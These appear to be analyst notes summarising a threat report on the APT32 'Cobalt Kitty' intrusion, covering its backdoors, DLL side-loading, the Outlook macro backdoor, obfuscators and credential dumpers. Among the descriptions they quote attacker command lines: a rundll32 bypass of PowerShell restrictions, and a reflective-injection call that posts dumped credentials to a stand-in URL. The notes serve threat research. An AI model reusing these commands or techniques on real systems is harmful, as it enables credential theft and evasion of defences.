[Cybereason Attack Lifecycle Publication]

Malware Sample Sites:

Virus Bay
MalwareBazaar
Das Malwerk
Malware DB

Binary Files (.exe and .dll files)

A variant of Denis Backdoor (msfte.dll)
Goopy Backdoor (goopdate.dll)
Cobalt Strike Beacon
Mimikatz
GetPassword_x64
PSUnlock
NetCat
HookPasswordChange
Custom Windows Credential Dumper
Custom IP Tool

Scripts (Powershell + VBS)

Backdoor - Powershell Version
Outlook Backdoor (Macro)
Cobalt Strike Downloaders / Loaders / Stagers
Cobalt Strike Beacon (triple)
Custom Windows Credential Dumper
Custom Outlook Credential Dumper
Mimikatz
Invoke-Obfuscation (Powershell Obfuscator)
Don’t-Kill-My-Cat (Evasion/Obfuscation Tool)

C&C Payloads

Cobalt Strike Downloaders / Stagers
Cobalt Strike Beacon
COM Scriptlets (Downloaders)

Denis the Menace (Main Backdoor)

- Backdoor.Win32.Denis - named this by Kaspersky
- Evidence of this malware dating back to August 2016

	Cobalt Kitty "Denis"	**Backdoor.Win32.Denis**
File Type	.dll + .ps1	.exe
Vessel	Legitamate applications vulnerable to DLL hijacking & PowerShell	Standalone executables
Loader & Process Injection	Loader decrypts the backdoor payload and injects processes: *rundll32.exe / svchost.exe / arp.exe / PowerShell.exe*	No injection to host processes
Anti Analysis	More sophisticated anti-debugging anti-emulation tricks were put to slow analysis	Anti-analysis tricks were not too common and rather simple

- The backdoor is similar to SOUNDBITE backdoor, also used by APT32
- The main purpose was to allow future information gathering, reconnaissance, lateral movement and data collection
- Uses DNS Tunneling to communicate with the C&C servers
- Backdoor exploits a rare "phantom DLL hijacking" against legitimate Windows Search apps
  - SearchIndexer.exe (C:\Windows\System32\)
  - SearchProtocolHost.exe (C:\Windows\System32\)
  - Exploiting System
- **CUSTOM MADE TOOL** (find malware that is similar to Denis for the project)
- Uses Fileless attacks to remain stealthy, persistent, and privileged

Goopy (Secondary Backdoor)

- Fake goopdate.dll file
- GoogleUpdate.exe (legitimate) vulnerable to DLL hijacking
- Both files placed into a unique folder in APPDATA
- Evidence of this vulnerability was reported in 2014
- Possibly authored by the same threat actor who created the Denis backdoor
- DLL file specifically targets the GoogleUpdate
- The Denis backdoor was used to launch the Goopy backdoor
- Goopy vs Denis
  - Unusually large files (30MB to 55MB) due to null character inflation
    - Probably to bypass security measures that don't inspect large files
  - Junk code interlaced with real functions to make analysis harder
    - (ex. subroutine containing 5600+ nodes, including infinite loops)

    - Made to target GoogleUpdate (can only be executed by GoogleUpdate)
        - If not, the backdoor will terminate the GoogleUpdate process and exit
    - Stealthier and more advanced
        - The potential powerful code-generation engine used to create it
        - Code and data are well protected and encrypted
    - HTTP communication (port 80 and 443)
    - Implements a different algorithm for the C2 communication over DNS tunneling
        - Usually communicates directly with the C&C servers over DNS
    - Different Mutex creation routine
    - Uses scheduled tasks to ensure backdoor continues running
        - Scheduled tasks runs on hourly basis
        - If mutex is detected, the process will exit

DLL Side-Loading Against Legitimate Applications

- Uses legitimate applications to run malicious payloads
- Notable software targets (all reputed vendors):
    - Kaspersky
    - Microsoft
    - Google
- Fake DLL file communicates with domain and IP that was used to drop Cobalt payloads

Outlook Backdoor (Macro)

- Replaced Outlooks' original VbaProject.OTM file, which contains Outlook macros, with malicious macros that created a backdoor
- To make this successful, 2 things had to be done
    - Create persistence by altering registry values to load the malicious macros on boot
    - Disable Outlooks security policies to prevent the prompting of warnings
- Steps of backdoor
    - [1] Macro looped through email inbox searching for two strings "SScpte" and "$$ecpte"
    - [2] When the strings were found, anything in between the strings was saved to a temp file (located at "%temp%\msgbody.txt")
    - [3] Once the email content has been copied, the email is immediately deleted from the inbox
    - [4] The contents moved to a temp .txt file was then parsed and passed to cmd.exe to be executed
    - [5] After the command is executed the macro sends "OK!" back to the attacker's email and the sent email (compromised → attacker) is deleted from the sent folder
    - [6] The macro sends the requested data to the attackers as an email attachment and, once received, deletes this email from the sent folder as well

Cobalt Strike

- Commercial offensive security framework used for security assessments and PT
- Used the Beacon feature to deploy payloads to compromised systems
- PAID SERVICE

COM Scriptlets (.sct payloads)

- APT used compromised systems to run PowerShell scripts to download COM Sciplets that ultimately downloads the Cobalt Strike Beacon
- COM Scriptlets can be nested so that each time a scriptlet is run, it downloads another script to run

Don't-Kill-My-Cat

- Located on GitHub
- Used to obfuscate payloads that were being downloaded from the C&C servers to avoid antivirus

Invoke-Obfuscation

- Used as redundant obfuscation, APT began using this after Don't-Kill-My-Cat so the organization could decrypt all payloads at once
- Also used to obfuscate PowerShell payloads to download Beacon, Mimikatz, and custom-built credential dumpers

Powershell Bypass Tool (PSUnlock)

- APT used this to revive their ability to use Cobalt Strike and PowerShell-based tools that had been shutdown
- Modified version of PSUnlock that allows the attackers to bypass Windows Group Policies preventing PowerShell execution
- Gave them back the ability to execute PS scripts without running PowerShell.exe
- Changed the PSUnlock file from .exe to .dll and launched it with Rundll32.exe to avoid having to use PowerShell.exe

Mimikatz

- Used frequently by APT to harvest credentials
- APT loaded 14 Mimikatz payloads (wrapped and obfuscated) to the compromised systems. The top ones are below:
    - [1] Packed Mimikatz binaries
    - [2] PowerSploits's "Invoke-Mimikatz.ps1"
    - [3] Mimikatz obfuscated with subTee's PELoader
        - A stealthy way to dynamically load Mimikatz's binary from the resource section of PE (no traces in the process command line)

GetPassword_x64

- Publicly available password dumping tool by the K8Team
- Used by Chinese "Emissary Panda" group
- Retains a very low detection rate even after being reported in 2015

- Often misclassified as adware or Mimikatz

Custom “HookPasswordChange”

- Alerts attackers if a compromised account password is changed
- Uses code from “HookPasswordChange” which is publically available
- “HookPasswordChange” hooks Windows “PasswordChangeNotify” in Windows’ default password filter (rassfm.dll)
- Redirects compromised account to malicious “PasswordChangeNotify” function
- Copies the changed password to a file and redirects account back to original function
- Observed payloads:
  - SRCHUI.dll
  - Adrclients.dll
- Most changes from “HookPasswordChange” are cosmetic
- Attackers added functionality to suit their needs

Custom Outlook Credential Dumper

- Modified code from Oxid’s Windows Vault Password Dumper
- Uses the following Powershell scripts:
  - C:\ProgramData\doutlook.ps1
  - C:\ProgramData\adobe.dat
- Attackers used PSUnlock to bypass Powershell execution restrictions:
  - rundll32 PShdll35.dll,main -f doutlook.ps1
- Binary tool ported to Powershell using PowerSploit’s “Invoke-ReflectivePEInjection”
- Attackers hid most of their tools in the ProgramData folder
- doutlook.ps1:
  - (0x2f815f0 (194): Invoke-ReflectivePEInjection -PEBytes $RawPEFile -ExeArgs '-o c:\programdata\log.txt' -ForceASLR
- Recovers passwords stored in Windows registry:
  - HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
  - HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Custom Windows Credential Dumper

- Password dumper borrows code from two dumping tools along with its own code:
  - Oxid’s Windows Vault Password Dumper
  - Oxid’s Creddump Project
- Observed payloads:
  - Adrclients.ps1
  - KB471623.exe
- Attackers need to supply command-line arguments:
  - Invoke-ReflectivePEInjection -PEBytes $RawPEFile -ExeArgs **'/s http://example.com/q= /l C:\programdata\log.txt /d C:\programdata\adrclients.dll'** -ForceASLR}
  - **URL** - to post the dumped credentials in GET parameters

    - **Log file -** log all dumped credentials in “log.txt” created in programdata
    - **DLL -** to load *HookPasswordChange* payload

Modified NetCat

- “Swiss Army Knife” taken from GitHub
- Uploaded using Goopy backdoor
- Renamed file to masquerade as a Windows Update file
- Not detectable by many antivirus vendors
    - (only one vendor detected it when the report was published)

Custom IP Check Tool

- Unknown tool
- Checks the external IP address of compromised machine
- Attackers renamed file from ip.exe to less suspicious name
    - (ex. dllhost.exe or cmd.exe)
- Deployed in second phase of attack
- Likely written using .NET framework